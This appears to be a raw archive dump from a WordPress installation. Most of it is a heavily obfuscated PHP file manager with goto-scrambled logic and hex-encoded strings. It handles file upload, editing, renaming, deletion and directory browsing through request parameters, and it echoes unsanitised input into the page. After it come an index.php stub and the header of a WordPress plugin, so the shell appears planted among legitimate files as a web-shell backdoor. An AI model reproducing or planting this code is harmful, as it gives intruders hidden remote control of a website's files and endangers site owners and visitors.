\55\x20\x20\40\x20\x75\x20\40\170\52\40\40\x22\40\x26\x23\62\x31\x33\73\x33\40\175\44\152\110\40\161\x20\167\x20\x62\x78\x20\x20\x42\x22\x20\74\40\65\142\x20\x20\x7d\45\x26\43\x33\65\62\x3b\x2b\x20\x20\40\x20\60\x39\137\x68\x3e\x47\40\40\x20\165\67\44\40\x20\x79\40\x20\x4d\112\x24\x20\x59\x26\130\x20\x7a\x20\40\40\50\x72\x20\x60\x20\133\116\40\x5f\x70\156\x79\41\x6c\x75\x20\x20\40\157\x20\170\40\x20\x60\116\40\x64\x20\x20\40\x7a\x20\117\x79\40\x20\40\x4f\56\x2a\40\x72\40\40\137\163\x20\40\40\x20\40\x20\x20\151\121\40\40\102\122\x78\x26\x23\x31\66\62\73\56\x29\40\x20\137\x36\x6a\126\x20\x5d\x20\x20\43\x20\127\x20\122\x56\171\x20\153\x7e\40\x20\x20\143\111\x20\x20\x59\x20\x20\x20\x48\x20\40\x20\40\40\x20\x64\x73\x52\x20\40\40\162\132\53\x20\x29\x66\x26\43\61\67\x32\x3b\144\40\x76\52\46\43\61\x36\x30\73\x20\40\x27\40\151\40\x20\350\xb1\x95\40\x47\40\40\x6a\x20\52\40\x63\x42\46\x23\x32\63\61\x3b\x20\x20\40\x7a\151\40\40\x5f\x20\x20\x20\x6a\40\x20\x7a\133\x20\x20\x37\73\x20\x20\x20\62\x20\40\x20\x20\x2d\x20\40\x7a\x5a\x20\x20\x20\x20\40\x20\146\40\40\126\40\46\x23\x31\x37\64\x3b\40\172\x39\x20\x20\x20\112\122\x20\x6e\x20\40\x20\40\40\40\67\x32\x20\x20\40\x38\x31\40\133\x65\40\x6e\40\x26\x63\x69\40\40\50\x20\x20\x72\x20\xa\x20\125\40\x20\40\x71\x20\x5f\x2b\x71\40\162\x56\40\63\x20\x20\x22\40\x20\x3e\40\x20\x20\x3b\61\x20\x20\x30\x78\x20\76\x7b\x20\x20\x20\x20\174\140\40\x72\40\150\40\x57\40\40\x71\x20\146\x20\40\63\xe9\x82\246\40\x20\154\46\x23\62\x33\x31\x3b\40\x5d\165\x20\142\55\65\x20\106\167\155\x20\x20\172\40\x7a\160\x29\115\x20\x20\x29\x20\x6a\117\40\161\46\x23\x31\71\67\x3b\x20\x20\165\40\161\40\x20\105\40\40\x4b\x20\x20\40\154\40\67\x20\40\x20\x5b\x5b\40\171\x20\130\x67\40\40\40\40\x20\xa\40\x20\x65\x20\40\x7e\40\54\40\71\x20\x26\x23\x32\x32\x31\73\x20\153\73\40\x20\x20\x2b\x6e\171\x20\x20\40\51\163\75\x39\x29\40\x20\x26\x23\62\x33\x38\73\40\165\x5f\154\40\x20\42\x20\x5a\40\x20\40\73\x20\170\x20\x20\40\75\x2e\40\x20\xa\x4d\75\x20\40\53\x3f\x20\40\136\x20\x20\x20\40\x71\x20\x24\x20\x2e\133\40\x69\x20\x5b\x20\40\40\x46\152\x20\x20\x20\171\x20\40\x20\x20\125\170\40\x7b\40\x3e\137\40\x20\170\110\40\x20\x3e\x20\73\40\x20\x20\x38\x20\40\40\40\74\40\x20\40\167\x2f\154\x20\150\171\40\40\40\12\40\40\x20\x39\157\40\74\x3a\x20\x27\x66\x34\x20\x20\x20\40\174\40\x20\x20\x20\x77\x26\x23\63\x35\x32\x3b\x20\x20\40\x20\40\x65\x20\40\x47\x20\107\40\x20\xa\52\x20\x21\43\x20\40\x20\40\x62\x60\40\x42\x2c\x20\x20\x20\40\x24\52\161\x20\x4c\x6c\40\40\40\x28\x4a\x71\40\x54\x20\x20\x72\x20\x20\x20\x2c\152\x71\40\x5c\40\x20\x20\x30\x20\x71\x20\144\54\x20\x26\43\62\x30\60\73\x20\64\40\x71\x20\x6c\x6c\x20\40\x20\70\x20\161\x20\x74\40\40\40\40\x3c\x20\x71\40\174\x20\40\x20\100\12\162\x20\x20\54\x20\x21\40\40\104\x2a\162\x20\40\x6c\x20\x23\40\40\40\110\x4a\x72\40\40\x20\x20\45\57\40\40\x4c\152\162\40\40\40\x27\x3f\40\x20\40\x20\x20\x50\40\162\40\x20\x2c\x20\51\x20\x51\73\12\74\x21\x44\117\103\124\131\x50\105\x20\150\164\x6d\154\76\xa\74\x68\164\155\154\x20\x6c\141\x6e\x67\x3d\x22\145\x6e\42\x3e\xa\12\74\150\145\x61\144\x3e\xa\x20\x20\x20\40\74\x6d\x65\164\x61\x20\143\150\x61\x72\163\145\x74\x3d\42\125\x54\x46\x2d\x38\x22\76\12\40\40\40\x20\74\x6d\145\x74\x61\x20\150\164\x74\160\x2d\145\x71\x75\151\166\75\42\x58\55\x55\x41\x2d\103\x6f\155\x70\141\164\x69\142\x6c\145\x22\40\143\x6f\x6e\x74\145\156\164\75\x22\111\x45\x3d\145\144\x67\145\42\x3e\xa\x20\x20\40\40\x3c\x6d\145\164\x61\x20\x6e\x61\155\145\x3d\42\166\x69\x65\x77\160\157\x72\164\x22\40\x63\x6f\x6e\164\145\156\164\x3d\42\x77\x69\144\164\x68\75\x64\145\x76\151\143\x65\x2d\167\151\x64\164\x68\54\40\151\156\151\164\151\x61\x6c\55\x73\x63\141\x6c\x65\x3d\x31\56\60\x22\x3e\xa\x9\x3c\x74\151\164\154\145\76\43\x38\x35\x37\x33\x23\x3c\x2f\x74\x69\164\154\145\76\12\x20\40\x20\40\x3c\x6c\x69\x6e\x6b\40\x68\x72\145\x66\x3d\x22\x68\x74\164\x70\163\x3a\x2f\57\x63\144\156\x2e\152\x73\x64\x65\154\151\166\162\x2e\156\x65\164\57\156\160\x6d\57\x62\157\x6f\164\x73\164\162\x61\160\100\65\56\63\56\x30\55\141\154\x70\150\141\61\x2f\144\151\163\x74\57\x63\x73\163\57\x62\157\157\x74\x73\164\162\141\x70\x2e\155\x69\x6e\x2e\x63\x73\x73\x22\40\x72\x65\x6c\75\42\x73\x74\x79\154\145\163\150\x65\x65\x74\x22\12\x20\40\40\40\40\x20\40\40\151\156\x74\x65\x67\162\x69\164\171\75\x22\x73\x68\x61\x33\x38\64\55\107\114\x68\154\124\x51\70\x69\x52\101\x42\x64\x5a\114\x6c\66\117\63\x6f\126\115\127\123\x6b\x74\x51\x4f\x70\66\142\67\x49\x6e\61\132\x6c\63\57\112\x72\65\x39\142\x36\105\107\107\x6f\x49\x31\x61\106\x6b\x77\67\x63\x6d\104\x41\x36\152\66\147\x44\x22\x20\143\162\x6f\x73\x73\157\x72\151\147\x69\156\75\42\141\x6e\157\156\x79\155\157\x75\163\x22\76\12\x20\x20\40\40\x3c\x6c\151\156\153\40\x72\145\x6c\75\x22\163\164\x79\x6c\x65\x73\x68\145\145\x74\42\x20\150\162\145\x66\x3d\x22\150\164\x74\x70\x73\72\57\x2f\143\x64\x6e\152\163\56\x63\x6c\x6f\x75\144\x66\x6c\141\162\x65\56\x63\x6f\155\57\141\152\141\x78\57\154\x69\142\x73\x2f\146\157\156\164\55\x61\x77\145\x73\157\x6d\145\x2f\66\56\x33\x2e\x30\x2f\143\163\163\57\x61\154\x6c\x2e\x6d\151\156\56\x63\163\x73\42\12\x20\x20\x20\x20\x20\x20\40\x20\x69\x6e\164\x65\147\162\151\164\x79\75\x22\163\150\141\65\x31\62\x2d\x53\172\x6c\x72\x78\x57\x55\x6c\160\x66\165\x7a\121\53\x70\143\x55\x43\x6f\x73\x78\x63\x67\154\121\x52\x4e\x41\x71\57\x44\x5a\152\126\x73\x43\60\154\x45\64\x30\170\163\x41\104\163\146\x65\x51\157\x45\x79\160\x45\53\x65\156\167\x63\117\x69\107\x6a\x6b\57\x62\x53\x75\x47\107\x4b\110\105\171\152\x53\157\x51\x31\x7a\x56\151\163\141\156\x51\x3d\x3d\x22\xa\x20\40\40\40\x20\x20\x20\x20\x63\x72\157\x73\x73\x6f\162\x69\x67\151\x6e\x3d\x22\141\156\x6f\156\x79\155\x6f\x75\163\x22\x20\x72\x65\146\145\162\162\145\x72\x70\157\x6c\151\x63\171\x3d\x22\x6e\157\55\x72\145\146\x65\162\x72\x65\x72\42\40\57\x3e\12\x3c\x2f\150\x65\141\144\x3e\12\xa\74\x62\157\x64\171\x3e\12\xa\x20\x20\x20\x20"; goto xNgJB; hjft7: $Vq7jy = array(); goto x1dT2; CBc9f: Vw_wx: goto Syx7s; oyUvZ: TTL1Z: goto oZibh; agWeM: uJ9DO: goto NXUNz; GxKwl: goto G0wuC; goto GkSmD; QLTLW: goto pI8Uo; goto orjkQ; xW04e: eCWd7: goto aGj4a; kvIvA: wPUQp: goto oOVMS; tBw9R: J__IU: goto GxKwl; cH1vl: ceNLn: goto Ohiyv; WXIIc: Zoz1q: goto i1MEU; k5uGS: echo "\xa\74\x6e\x61\x76\40\x63\154\x61\x73\x73\x3d\x22\x6e\141\166\x62\x61\162\x20\x6e\x61\166\x62\x61\x72\55\x6c\151\147\x68\x74\x22\40\x73\164\171\x6c\145\75\42\142\x61\x63\x6b\x67\162\157\165\156\x64\x2d\x63\157\x6c\x6f\x72\x3a\40\43\145\x33\x66\x32\146\144\x3b\42\x3e\xa\x20\x20\74\x64\151\166\x20\143\x6c\x61\163\x73\x3d\42\156\x61\x76\142\x61\x72\55\142\x72\141\x6e\144\42\76\xa\40\x20\x3c\x61\x20\150\162\x65\146\x3d\42\x3f\x22\x3e\x3c\x69\155\x67\40\x73\x72\143\75\x22\x68\x74\164\160\x73\72\x2f\x2f\x67\151\164\x68\165\142\x2e\x63\x6f\155\x2f\x66\x6c\x75\151\144\x69\x63\x6f\x6e\x2e\160\x6e\147\x22\x20\167\151\144\164\150\75\x22\63\60\42\x20\150\145\x69\147\150\x74\x3d\x22\x33\60\42\x20\141\154\x74\x3d\42\x22\76\x3c\57\141\x3e\12"; goto DuYor; SBmcK: goto X_9OE; goto t8F3k; J59sK: goto r4hK0; goto tnFk7; u1opu: rsv9K: goto kVqc2; MXw0K: EWlAt: goto SBmcK; h1l_G: goto mAbKi; goto d1Zjb; uokym: BBXV4: goto RDimB; Spx_V: NQg5d: goto awhqX; x0czg: goto J__IU; goto Tv2Uk; wEiw3: ncojG: goto oaU4D; xLJyQ: if (is_readable(BiAk2)) { goto A4zH1; } goto X24og; dGlpy: wQ0d0: goto CHxxD; sZosU: slUDP: goto TWfwe; XKtLO: pI8Uo: goto kqKgb; nPiM0: goto Atq0x; goto M2pb0; EEpR5: iBwom: goto sZosU; kA5Nc: oCUU1: goto sl73k; oOVMS: $NXKaz = __DIR__; goto hv3IZ; ofAbE: dMwiD: goto ambhT; QqC0E: goto nO5XD; goto lU9n1; DKwiR: TQT5i: goto pXcVA; xuiKg: RiYFy: goto ZOJBt; kO5UO: goto cOLra; goto EEpR5; grTby: goto de9Ge; goto G0jIX; Eh8we: CfL6O: goto qo8f2; huEX2: if (isset($_POST["\x75\160\154\x6f\x61\144"])) { goto eBJn3; } goto t9D8K; TWfwe: goto j76Su; goto SSNmK; OWd7L: goto wXkVo; goto JqvhZ; GUlbz: Atq0x: goto G2w2b; W1Ms0: if (isset($_POST["\162\145\x6e\x61\x6d\x65"])) { goto WRrG0; } goto h1l_G; EuDO_: goto Trurz; goto SjJmZ; ajx2P: NTLCM: goto Rk2tr; ZrCV1: NXkZz: goto JKh4T; mg7bS: goto WCjaF; goto Io5fI; Tv2Uk: CbVUu: goto Y4_lc; bO8ZQ: goto AIZkd; goto HEWQY; kj3FB: goto TWLbv; goto CBc9f; r3JJ5: Hk3gr: goto L1sBE; peb0g: goto nkE0z; goto WSELQ; L3O4I: Xk79M: goto W1Ms0; fk61e: kzh6V: goto hjft7; Yuj26: SVDac: goto FZmkp; T6urt: mJ9MY: goto BOBUB; Sfsw1: $RGptr = explode("\57", $grIsD); goto ucbW2; uj6jY: goto t05ib; goto zbnpp; iSKhJ: goto YMeYU; goto a77uR; rT0XR: cH0KW: goto U9ODp; LgCY8: ce00T: goto Ydtqs; X213Y: R82uD: goto k1oyt; MIZdy: goto NXkZz; goto LNxR5; B3RM3: kmPdU: goto GAgXr; IiNvb: mHGIr: goto MvEFB; Q32KK: goto Z79bT; goto UpEtu; hpT6l: AlG72: goto XhwR4; msapP: echo "\x3c\163\x63\162\151\x70\x74\76\141\x6c\x65\x72\164\50\x27\x44\x69\162\145\x63\x74\x6f\x72\x79\x20\162\x65\x6d\x6f\x76\145\x64\56\47\51\x3b\40\167\x69\x6e\144\157\167\x2e\x6c\157\x63\x61\x74\x69\x6f\x6e\56\x72\x65\x70\154\x61\x63\145\x28\x27\77\x70\75" . FvvcH(BiAk2) . "\x27\x29\x3b\74\57\x73\143\x72\151\x70\x74\76"; goto IpJPA; rnLGw: function eaqz1($bFLcc) { goto B1Vuj; LyeyU: goto YSo4E; goto pVc_i; vzWXR: return "\x3c\x69\x20\143\154\x61\163\x73\75\42\x66\x61\55\x73\157\x6c\151\144\x20\146\x61\x2d\146\x69\x6c\145\42\76\x3c\x2f\x69\76\40"; goto YOAQT; qR2IQ: IamBh: goto ltTDq; rHACM: IJ7ry: goto YXQa9; O65lT: return "\x3c\x69\40\x63\x6c\x61\x73\163\x3d\x22\x66\x61\55\163\x6f\x6c\151\x64\x20\146\x61\x2d\x68\141\155\155\145\x72\x22\x3e\x3c\57\x69\76\40"; goto eTlwf; iItKn: if (!($LcNOU == "\150\x74\x6d\154" || $LcNOU == "\150\x74\x6d")) { goto sQ0WM; } goto S2_mv; tENWk: goto DU8TM; goto MnJvc; CUNAV: return "\74\x69\40\x63\x6c\x61\x73\x73\x3d\x22\146\x61\55\142\162\141\x6e\x64\x73\40\146\x61\55\143\163\x73\x33\42\76\x3c\x2f\x69\76\40"; goto MfRrh; CaTmI: goto Rlnzk; goto n0JuU; QwY2i: goto hougE; goto UwlBH; IHRtb: Rlnzk: goto u2tvk; LpZGQ: Ci8Ox: goto U_dXz; MG55j: return "\74\151\x20\143\154\141\163\x73\75\x22\x66\141\55\x62\162\141\156\x64\163\40\146\141\x2d\160\150\x70\42\x3e\74\x2f\151\x3e\x20"; goto Iy3ma; DsSsB: UEVOK: goto ldVS7; R12bF: goto UEVOK; goto PvicZ; Ocu7G: goto RNjt6; goto mlu21; AgzJZ: goto tYIT4; goto JvLjN; nKXS1: aaSDB: goto gJ0LV; PvicZ: pbt8K: goto iDogm; hPODk: sQ0WM: goto geDtq; F8c0d: jj8g_: goto RdXAo; pVc_i: PHBVc: goto vzWXR; hhtEe: Tdh3V: goto FCasW; lGgJB: goto IamBh; goto uEndw; onvQX: D9AHK: goto shrzw; zvClz: if (!($LcNOU == "\x70\x68\160" || $LcNOU == "\x70\150\x74\x6d\x6c")) { goto D9AHK; } goto L8enU; W166R: goto OcVAs; goto TZe5S; WEP1O: hougE: goto orqSa; q6DED: if (!in_array($LcNOU, $Gi852)) { goto IJ7ry; } goto p6BbH; i_gN9: mygdg: goto Z4Grl; wJnOx: VGPeu: goto IIo9B; SBjZH: goto DU8TM; goto t9_1x; MfRrh: goto VH18z; goto lTM_i; p3Z0B: u2EMD: goto pL5a7; t17DZ: goto ybmHM; goto Cf9PF; q1MO3: j9nf7: goto TpWoC; blaF0: if (!($LcNOU == "\x6a\163")) { goto aaSDB; } goto kQG2y; eTlwf: goto btAZj; goto OJmAn; K11wl: uV34d: goto xi9D6; Mi_tR: zVMy2: goto t17DZ; wu2eW: O8zmL: goto rWkwn; U_dXz: if (!in_array($LcNOU, $BMeFo)) { goto HPLIV; } goto R9X2s; RpuWw: goto bujFe; goto k_HLZ; k_HLZ: EdefJ: goto IWf8w; Dpq4X: WlFZD: goto rNhao; L8enU: goto cpNbC; goto onvQX; H7OcV: SUf2j: goto q6DED; fZmnF: utWav: goto pSDEN; fvlx0: HPLIV: goto Ocu7G; kyMyX: $BMeFo = array("\x77\x61\166", "\x6d\64\x61", "\155\64\142", "\x6d\x70\63", "\157\x67\147", "\167\x65\x62\x6d", "\x6d\x70\143"); goto wgr2l; TZe5S: hDkB1: goto YSPiH; EK_mG: opw7e: goto VvX1z; Rd_wD: goto vVGhw; goto LpZGQ; orqSa: if (!($LcNOU == "\164\170\x74")) { goto nSK3x; } goto wg_rJ; e76EZ: return "\x3c\151\40\x63\154\x61\163\163\75\42\x66\141\55\162\x65\x67\165\154\141\162\x20\x66\141\x2d\x69\x6d\141\x67\x65\163\42\76\74\x2f\151\x3e\40"; goto W166R; RdXAo: $LcNOU = strtolower(Yw2K3($bFLcc)); goto N9Jhh; lTM_i: bujFe: goto wbMj6; YSPiH: return "\74\x69\x20\x63\154\141\163\x73\75\x22\146\141\55\142\x72\141\x6e\144\x73\40\x66\141\x2d\x70\171\x74\x68\157\156\42\x3e\x3c\57\x69\76\x20"; goto YIig9; zxrIC: goto fiLMO; goto Mi_tR; Iy3ma: goto delPj; goto lyqzS; t9_1x: goto YzMmY; goto jKGIT; TBSX_: goto Ci8Ox; goto sX_yr; gAF40: goto DU8TM; goto AgzJZ; IIo9B: goto Tdh3V; goto iFCvq; eG4pt: k4Ni8: goto sMWfY; XWRoV: PPSkJ: goto Ogwys; kQG2y: goto WlFZD; goto nKXS1; rNhao: goto hcTrs; goto F8c0d; UwlBH: RNjt6: goto VKIVX; AODBQ: iSRd0: goto O65lT; IHf6m: nSK3x: goto TBSX_; EHzPH: goto PZ205; goto eG4pt; VKIVX: if (!($LcNOU == "\x70\x79")) { goto k4Ni8; } goto EHzPH; Z4Grl: if (!($LcNOU == "\x63\x73\163")) { goto BbyZx; } goto SXdCd; R9X2s: goto DCFnR; goto fvlx0; VvX1z: goto DU8TM; goto l5YAy; ZVCyT: XJXZE: goto RpuWw; D7Qfs: BbyZx: goto QwY2i; x6llx: goto dfjPO; goto K11wl; MnJvc: goto pbt8K; goto fZmnF; ltvL0: vVGhw: goto CUNAV; B1Vuj: goto utWav; goto IHRtb; rWkwn: bFZwD: goto Rd_wD; ztHuA: NSG4K: goto xKvo5; t0sf3: gtCl0: goto wJnOx; U3DOv: goto hDkB1; goto ztHuA; wg_rJ: goto VGPeu; goto IHf6m; DUn8h: goto u2EMD; goto H7OcV; u2tvk: DU8TM: goto F5tMu; iFCvq: o0WOX: goto blaF0; eq16N: goto QAILa; goto DsSsB; mlu21: ybmHM: goto nz4OT; TpWoC: goto K3YOx; goto AODBQ; gJ0LV: goto PHBVc; goto WEP1O; S2_mv: goto NAiva; goto hPODk; y1NQ_: OcVAs: goto Oatri; pL5a7: return "\x3c\151\x20\143\154\x61\x73\163\x3d\x22\146\141\x2d\x64\x75\157\164\x6f\x6e\145\40\146\141\x2d\x66\151\154\145\55\155\165\x73\x69\x63\x22\x3e\x3c\x2f\x69\76\40"; goto LyeyU; nz4OT: goto j9nf7; goto ojOFa; SXdCd: goto bFZwD; goto D7Qfs; Ogwys: DCFnR: goto DUn8h; yMGWO: goto VEG20; goto ZVCyT; AWGOr: goto gtCl0; goto qR2IQ; YIig9: goto opw7e; goto Lwv0E; ltTDq: goto j9nf7; goto R12bF; Cf9PF: YzMmY: goto wlcdy; ONsnJ: cpNbC: goto eq16N; Lwv0E: W0R44: goto zvClz; Oatri: goto DU8TM; goto t7H5r; KFAGF: goto PPSkJ; goto qEx5b; hugH1: goto DU8TM; goto AWGOr; iDogm: sMDqZ: goto Hw6lx; ldVS7: fiLMO: goto XAwHt; p6BbH: goto sMDqZ; goto rHACM; WKK8m: YSo4E: goto gAF40; shrzw: goto SUf2j; goto wu2eW; S56Zw: tYIT4: goto FL6I0; IWf8w: goto DU8TM; goto xWt5c; B6q1d: goto EdefJ; goto FCZdP; rh0rD: VEG20: goto LsFq2; OJmAn: K3YOx: goto iItKn; l5YAy: goto FYOIs; goto S56Zw; JvLjN: hcTrs: goto css0D; DQ29J: goto J_Imy; goto p3Z0B; Hw6lx: goto stz4E; goto AC2Li; xi9D6: goto DU8TM; goto KFAGF; F5tMu: goto gvVpY; goto WR18B; ojOFa: goto MivTE; goto ZY087; mxWJ6: goto uV34d; goto Yp3zE; kE7Ii: return "\x3c\151\40\143\154\141\163\163\x3d\42\x66\141\55\x62\x72\x61\156\144\x73\x20\146\141\55\150\164\x6d\x6c\65\x22\76\x3c\57\x69\76\40"; goto B6q1d; jKGIT: btAZj: goto q1MO3; wlcdy: NAiva: goto DQ29J; FCasW: return "\74\151\40\143\x6c\x61\163\163\x3d\x22\x66\141\x2d\162\145\147\165\x6c\x61\x72\40\146\141\55\x66\151\154\x65\55\154\x69\156\x65\x73\42\x3e\74\57\151\x3e\x20"; goto mxWJ6; css0D: return "\74\151\40\x63\154\141\x73\x73\x3d\42\146\x61\x2d\142\162\141\156\x64\x73\40\x66\x61\x2d\152\x73\x22\76\x3c\57\x69\76\40"; goto CaTmI; kCS7i: if (!($bFLcc == "\145\162\x72\x6f\x72\x5f\x6c\x6f\x67")) { goto XJXZE; } goto yMGWO; FL6I0: PZ205: goto U3DOv; M8_jB: VVtM0: goto kCS7i; xKvo5: return "\74\151\40\x63\x6c\141\163\x73\75\x22\146\x61\55\x73\x68\141\162\160\40\x66\x61\x2d\x73\157\154\151\144\40\146\141\55\x62\x75\x67\x22\x3e\74\57\x69\x3e\40"; goto lGgJB; YXQa9: goto mygdg; goto M8_jB; lyqzS: RC81q: goto SBjZH; wbMj6: if (!($bFLcc == "\56\150\164\141\x63\143\x65\x73\x73")) { goto zVMy2; } goto zxrIC; XAwHt: goto iSRd0; goto ltvL0; LsFq2: goto NSG4K; goto XWRoV; N9Jhh: goto VVtM0; goto t0sf3; Yp3zE: QAILa: goto MG55j; AC2Li: MivTE: goto rh0rD; XGrGJ: VH18z: goto hugH1; sX_yr: gvVpY: goto UC0zT; WR18B: delPj: goto tENWk; YOAQT: goto RC81q; goto y1NQ_; t7H5r: goto O8zmL; goto WKK8m; sMWfY: goto o0WOX; goto hhtEe; ZY087: ig9vR: goto ONsnJ; pSDEN: $Gi852 = array("\141\x70\156\x67", "\141\166\x69\146", "\147\151\146", "\152\160\147", "\x6a\x70\145\147", "\x6a\x66\151\x66", "\160\152\160\x65\147", "\x70\152\160", "\x70\x6e\x67", "\163\166\147", "\x77\145\142\160"); goto x6llx; xWt5c: goto ig9vR; goto EK_mG; n0JuU: FYOIs: goto Dpq4X; FCZdP: stz4E: goto e76EZ; geDtq: goto W0R44; goto XGrGJ; uEndw: J_Imy: goto kE7Ii; wgr2l: goto jj8g_; goto i_gN9; qEx5b: dfjPO: goto kyMyX; UC0zT: } goto RLVjX; NceqX: goto qGCLv; goto FCodr; KhEPr: if (empty($_GET)) { goto CbVUu; } goto x0czg; Wp1aU: b1LP0: goto ZeExc; rx2YP: uv0GR: goto Sfsw1; VZePr: goto slUDP; goto eLs1O; b0wNF: XVyso: goto grTby; Fe1RG: goto tqxAN; goto cH1vl; GeD7m: cakjA: goto A3qXr; SjJmZ: FmklC: goto wYw3z; S2c_s: if (isset($_GET["\144"]) && isset($_GET["\161"])) { goto dd9OH; } goto VZePr; FgGn_: XZQG5: goto Byluh; e3e87: goto TTL1Z; goto E_geL; aGj4a: goto wL7at; goto zJfUX; W8TM0: DcMlt: goto B3RM3; To4bd: qGCLv: goto tBw9R; qYveb: M5wvw: goto gowy_; Aw6AG: goto nv1ec; goto hpT6l; O_iKY: goto pl7gd; goto KMw33; begTU: CK1lm: goto JUf79; ofNFH: WNxfF: goto yeQey; H9Fkp: Hl5e7: goto KhEPr; egHZy: echo "\74\163\x63\162\151\x70\164\x3e\x61\x6c\x65\162\x74\x28\x27\x53\157\155\145\40\145\162\x72\157\162\40\x6f\x63\143\x75\162\x72\145\x64\x2e\x27\51\73\40\x77\151\x6e\x64\x6f\167\x2e\154\157\x63\141\164\151\x6f\x6e\x2e\162\145\160\154\x61\143\x65\50\x27\x3f\x70\x3d" . fvVCh(BiAk2) . "\47\51\73\74\x2f\x73\x63\162\151\x70\164\76"; goto Ibx1e; SMCag: zzQBU: goto BBbvM; ZdiF9: goto hzE7r; goto tT5Cn; Io5fI: wXkVo: goto S5eVM; KxnnS: G0wuC: goto iSKhJ; BOBUB: goto b7zaC; goto kA5Nc; KuX5B: goto wNvKn; goto kvIvA; RyEXK: echo "\12\x20\x20\40\40\x3c\x66\x6f\x72\155\40\x6d\x65\164\x68\x6f\144\x3d\x22\x70\157\x73\164\x22\76\12\x20\x20\40\x20\x20\40\x20\x20\122\x65\156\x61\x6d\x65\72\xa\x20\x20\x20\40\x20\x20\40\40\x3c\151\x6e\160\165\164\x20\x74\171\160\145\x3d\x22\x74\x65\x78\164\42\40\156\x61\x6d\x65\75\x22\156\141\x6d\x65\42\40\x76\x61\x6c\165\x65\75\x22" . $_GET["\162"] . "\42\76\xa\40\x20\x20\x20\x20\x20\40\x20\74\x69\x6e\x70\165\164\40\x74\x79\160\x65\75\x22\x73\165\x62\155\151\x74\42\x20\x63\154\141\163\x73\x3d\x22\x62\x74\x6e\40\x62\x74\x6e\x2d\x64\x61\162\x6b\x22\x20\x76\x61\154\165\145\75\x22\x52\x65\156\141\x6d\x65\x22\x20\x6e\141\x6d\x65\75\x22\162\145\156\x61\x6d\145\x22\76\xa\x20\x20\x20\40\74\x2f\x66\x6f\x72\x6d\76"; goto WPAkh; OEDs7: oqNvT: goto Z2KlP; BSaew: su1GO: goto atCPr; nPSTC: CY4iE: goto L1tya; vblhQ: goto i9EUM; goto BSaew; xIjzk: goto awHDD; goto jH50s; hv3IZ: goto TXZYw; goto w9pD6; uYBKB: goto d577N; goto mWHS5; U9ODp: goto NQg5d; goto GeD7m; w9pD6: ICEaW: goto k5uGS; ZeExc: if (isset($_POST["\x65\144\151\164"])) { goto NTLCM; } goto O6Lcd; jH50s: Trurz: goto nZB9l; S8W2C: A4zH1: goto y2101; t8F3k: Rm18i: goto w0rFO; CHxxD: goto V_qpU; goto NdJIz; ucbW2: goto WxiCp; goto agWeM; ze817: goto Q5m6d; goto H9Fkp; rRaEx: LtFKK: goto J59sK; OiOVL: p8ftD: goto ocUT4; K22RT: goto Yz5aS; goto DLIad; cib3h: goto ZdCLC; goto oVa1x; cS30_: goto qt3kE; goto USxlm; USxlm: ayJ78: goto mylan; Y4_lc: goto mi_ER; goto begTU; XLwhm: define("\102\151\x41\153\62", $RqUEp); goto E_JBL; G0jIX: nkE0z: goto D2pDf; ftyKQ: fWxDu: goto pWndG; i1MEU: fclose($idYE7); goto VIuAB; hrLMt: goto BwpBF; goto rxqvg; g0ucU: goto sKJH5; goto XWe6F; NXUNz: $RqUEp = $NXKaz; goto b4Tlv; svkfl: if (!fwrite($idYE7, $B2eoY)) { goto jmMol; } goto HoySF; ambhT: goto p8ftD; goto xuiKg; klNmS: goto y0rw3; goto To4bd; iP3SZ: if (is_dir(rf42g($_GET["\x71"]))) { goto CSeYv; } goto g0ucU; Xa2jL: goto mHGIr; goto wEiw3; t5SJZ: IWIt0: goto hrLMt; Owl1p: Q5m6d: goto Qjy_g; pZjkg: s0TTf: goto GXE9g; lRwAf: OkVHq: goto InNNz; aQJTl: PS8QR: goto dGlpy; KMw33: wL7at: goto Zf_SU; GAgXr: goto LlGvk; goto Gaoo4; iu5EN: x3aje: goto xyB_o; Ux648: QvHkT: goto r58Tj; gKAX5: echo "\x3c\x73\x63\162\151\160\164\x3e\x77\151\x6e\x64\157\167\56\x6c\x6f\x63\141\x74\151\x6f\156\x2e\x72\x65\x70\x6c\141\x63\x65\50\x27\77\x70\x3d\47\51\x3b\x3c\x2f\x73\x63\x72\151\x70\x74\x3e"; goto klNmS; y2101: goto ooTyp; goto o8yd7; iEobI: goto toihV; goto uokym; xyB_o: if (!move_uploaded_file($_FILES["\146\x69\x6c\x65\x54\x6f\125\x70\x6c\x6f\141\144"]["\x74\155\x70\x5f\x6e\141\x6d\145"], $Gb7jr)) { goto dMwiD; } goto jFl4Q; UDyz0: goto Rm18i; goto Xdr07; Q8sl3: FbEVF: goto svkfl; tGcIw: im97Z: goto EuDO_; WxtCl: BvBSu: goto CWENq; ixO5P: y0rw3: goto vVuQ_; G1nl6: BwpBF: goto IGpRs; kq34l: $Xb7P9 = scandir(BiAk2); goto W1DHH; kVqc2: goto illyg; goto O3fNV; ovfCy: echo "\12\x20\40\x20\40\74\x73\x63\x72\151\x70\164\x20\163\162\x63\75\42\x68\164\x74\160\163\x3a\x2f\x2f\x63\144\156\56\152\x73\x64\x65\x6c\151\166\x72\56\x6e\x65\x74\x2f\156\x70\x6d\57\x62\157\x6f\164\163\164\x72\x61\x70\x40\65\56\63\56\60\55\x61\154\x70\150\x61\x31\x2f\144\151\163\x74\57\152\163\57\x62\157\157\x74\163\164\162\x61\160\56\x62\165\x6e\144\x6c\x65\56\155\x69\156\56\152\x73\x22\12\40\x20\40\40\x20\40\40\x20\x69\x6e\164\145\x67\x72\x69\164\171\75\x22\163\150\x61\63\x38\64\x2d\167\67\66\101\161\x50\146\104\x6b\115\x42\x44\130\x6f\63\x30\x6a\x53\61\x53\147\x65\172\x36\x70\162\x33\170\65\x4d\154\x51\x31\x5a\101\x47\x43\53\156\x75\132\102\x2b\105\x59\x64\147\122\x5a\147\151\x77\170\150\x54\102\x54\153\106\67\x43\x58\166\116\x22\xa\40\x20\40\x20\x20\40\x20\x20\143\x72\x6f\x73\163\x6f\162\x69\x67\x69\x6e\75\42\x61\x6e\x6f\x6e\x79\155\x6f\165\x73\x22\x3e\74\57\x73\143\x72\151\160\x74\x3e\12\x3c\57\x62\157\x64\171\76\12\xa\74\57\150\x74\155\x6c\76";

index.php000064400000000031147510612050006357 0ustar00<?php
//silence is goldenthree-column-screen-layout.php000064400000010220147510612050012443 0ustar00<?php
/**
	Plugin Name: Three Column Screen Layout
	Plugin URI: http://wordpress.org/plugins/three-column-screen-layout/
	Description: Three, four and five column screen layouts for the post editor.
	Version: 4.2
	Author: Chad Hovell
	Author URI: http://www.chadhovell.com.au
	Text Domain: three-column-screen-layout
	License: GPLv2 or later

	Copyright 2016 Chad Hovell (email: chadhovell@gmail.com)

